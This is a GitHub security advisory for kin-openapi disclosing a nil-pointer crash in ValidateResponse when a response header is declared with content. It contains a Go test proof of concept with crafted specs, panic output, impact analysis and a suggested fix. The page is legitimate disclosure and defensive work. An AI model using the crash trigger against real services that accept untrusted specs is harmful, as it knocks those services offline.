Skip to content

kin-openapi openapi3filter: nil-pointer panic in ValidateResponse on a response header declared with content

High severity GitHub Reviewed Published Aug 3, 2026 in getkin/kin-openapi • Updated Oct 16, 2026

Package

gomod github.com/getkin/kin-openapi (Go)

Affected versions

<= 0.145.0

Patched versions

0.146.0

Description

Summary

ValidateResponse panics on a nil pointer when a spec declares a response header with content instead of schema. doc.Validate() accepts that document, so the crash comes from a spec the library just called valid.

Same class as GHSA-jpcw-4wr7-c3vq, which covered the request-parameter case in v0.144.0; this is the response-header path.

Affects github.com/getkin/kin-openapi <= v0.145.0. Reproduced on master 947498e5a6bd, Go 1.26.

Details

A content-typed response header has headerRef.Value.Schema == nil.

validate_response.go:181 passes it straight through:

if decodedValue, found, err = decodeValue(dec, headerName, sm, headerRef.Value.Schema, headerRef.Value.Required); err != nil {

and req_resp_decoder.go:273 is where it lands:

if len(schema.Value.AllOf) > 0 {

Two things I checked rather than assumed. The response does not need to carry the header; declaring it is enough, and then every call for that operation panics. And the body path is fine, :114 returns early on a nil schema, so this is headers only. The PoC keeps the body case as a control.

PoC

Drop into openapi3filter/ and run:

go test ./openapi3filter/ -run NilSchema -v
package openapi3filter_test

import (
	"context"
	"io"
	"net/http"
	"net/http/httptest"
	"strings"
	"testing"

	"github.com/getkin/kin-openapi/openapi3"
	"github.com/getkin/kin-openapi/openapi3filter"
	"github.com/getkin/kin-openapi/routers"
)

const specBody = `
openapi: 3.0.3
info: {title: poc, version: "1.0.0"}
paths:
  /x:
    get:
      responses:
        "200":
          description: ok
          content:
            application/json: {}
`

const specHeader = `
openapi: 3.0.3
info: {title: poc, version: "1.0.0"}
paths:
  /x:
    get:
      responses:
        "200":
          description: ok
          headers:
            X-Thing:
              content:
                application/json: {}
`

func validatedInput(t *testing.T, spec string, hdr http.Header) *openapi3filter.ResponseValidationInput {
	t.Helper()
	doc, err := openapi3.NewLoader().LoadFromData([]byte(spec))
	if err != nil {
		t.Fatalf("load: %v", err)
	}
	if err := doc.Validate(context.Background()); err != nil {
		t.Fatalf("doc.Validate rejected the spec, so this repro proves nothing: %v", err)
	}
	op := doc.Paths.Find("/x").Get
	req := httptest.NewRequest(http.MethodGet, "/x", nil)
	return &openapi3filter.ResponseValidationInput{
		RequestValidationInput: &openapi3filter.RequestValidationInput{
			Request: req,
			Route:   &routers.Route{Spec: doc, Operation: op, Method: http.MethodGet, Path: "/x"},
		},
		Status: 200,
		Header: hdr,
		Body:   io.NopCloser(strings.NewReader(`{}`)),
	}
}

// Control: body path returns early on a nil schema.
func TestControl_ResponseBodyNilSchema(t *testing.T) {
	in := validatedInput(t, specBody, http.Header{"Content-Type": {"application/json"}})
	defer func() {
		if r := recover(); r != nil {
			t.Errorf("body path panicked, expected clean return: %v", r)
		}
	}()
	if err := openapi3filter.ValidateResponse(context.Background(), in); err != nil {
		t.Errorf("body path returned %v, expected nil", err)
	}
}

// The response does not carry X-Thing. Declaring the header is enough.
func TestResponseHeaderNilSchema(t *testing.T) {
	in := validatedInput(t, specHeader, http.Header{"Content-Type": {"application/json"}})
	if err := openapi3filter.ValidateResponse(context.Background(), in); err != nil {
		t.Fatalf("no panic; got err = %v (already fixed?)", err)
	}
}

Output:

=== RUN   TestControl_ResponseBodyNilSchema
--- PASS: TestControl_ResponseBodyNilSchema (0.00s)
=== RUN   TestResponseHeaderNilSchema
--- FAIL: TestResponseHeaderNilSchema (0.00s)
panic: runtime error: invalid memory address or nil pointer dereference [recovered, repanicked]
[signal SIGSEGV: segmentation violation code=0x1 addr=0x20 pc=0x7f6d2a]

github.com/getkin/kin-openapi/openapi3filter.decodeValue(...)
	/src/openapi3filter/req_resp_decoder.go:273 +0x4a
github.com/getkin/kin-openapi/openapi3filter.validateResponseHeader(...)
	/src/openapi3filter/validate_response.go:181 +0x146
github.com/getkin/kin-openapi/openapi3filter.ValidateResponse(...)
	/src/openapi3filter/validate_response.go:89 +0xafa

The FAIL is the point: control passes, the header case takes the binary down.

Ran in a container against a fresh clone of master. I have not tried it against a live proxy.

Impact

A process crash instead of an error return. Declaring the header is enough, so it is every call on that operation rather than an occasional one.

If the spec comes from somewhere else -- gateways, linters, anything ingesting specs it did not write -- that is a trust boundary, and it becomes remote availability.

If it is your own spec, nothing attacker-controlled starts it, but any client reaching that route then crashes the process. It fires on every call, so normally you would see it the first time that route runs. A spec edited without exercising the route is the case where you would not. That is the difference from GHSA-jpcw, where the attacker supplied the trigger. I have left severity unset; the two cases do not score the same.

On how common it is, I checked rather than guessed. Of roughly 1,500 OpenAPI 3.x specs on apis.guru, one declares content-typed response headers -- VTEX Catalog API -- and not in one corner of it: the shape repeats across its operations, so for that consumer this is not an edge case.

The header names in it (X-AspNet-Version, p3p, a few malformed ones) look like a generator emitting content where it could not infer a schema, and apis.guru only indexes public specs. There is no content-typed response header in this repo's testdata either.

Workarounds

Use schema on the response header, or skip ValidateResponse for those operations. ExcludeResponseBody will not do it -- headers are validated before that check.

Suggested fix

Nil-guard at the top of decodeValue:

if schema == nil {
	return nil, false, nil
}

Returning nil leaves a content-typed header unvalidated rather than erroring, so it trades the crash for a silent gap. An error return kills the panic just as well if you would rather it surfaced.

References

@fenollp fenollp published to getkin/kin-openapi Aug 3, 2026
Published by the National Vulnerability Database Oct 15, 2026
Published to the GitHub Advisory Database Oct 16, 2026
Reviewed Oct 16, 2026
Last updated Oct 16, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(29th percentile)

Weaknesses

NULL Pointer Dereference

The product dereferences a pointer that it expects to be valid but is NULL. Learn more on MITRE.

CVE ID

CVE-2026-100349

GHSA ID

GHSA-74vm-87hj-r66f

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.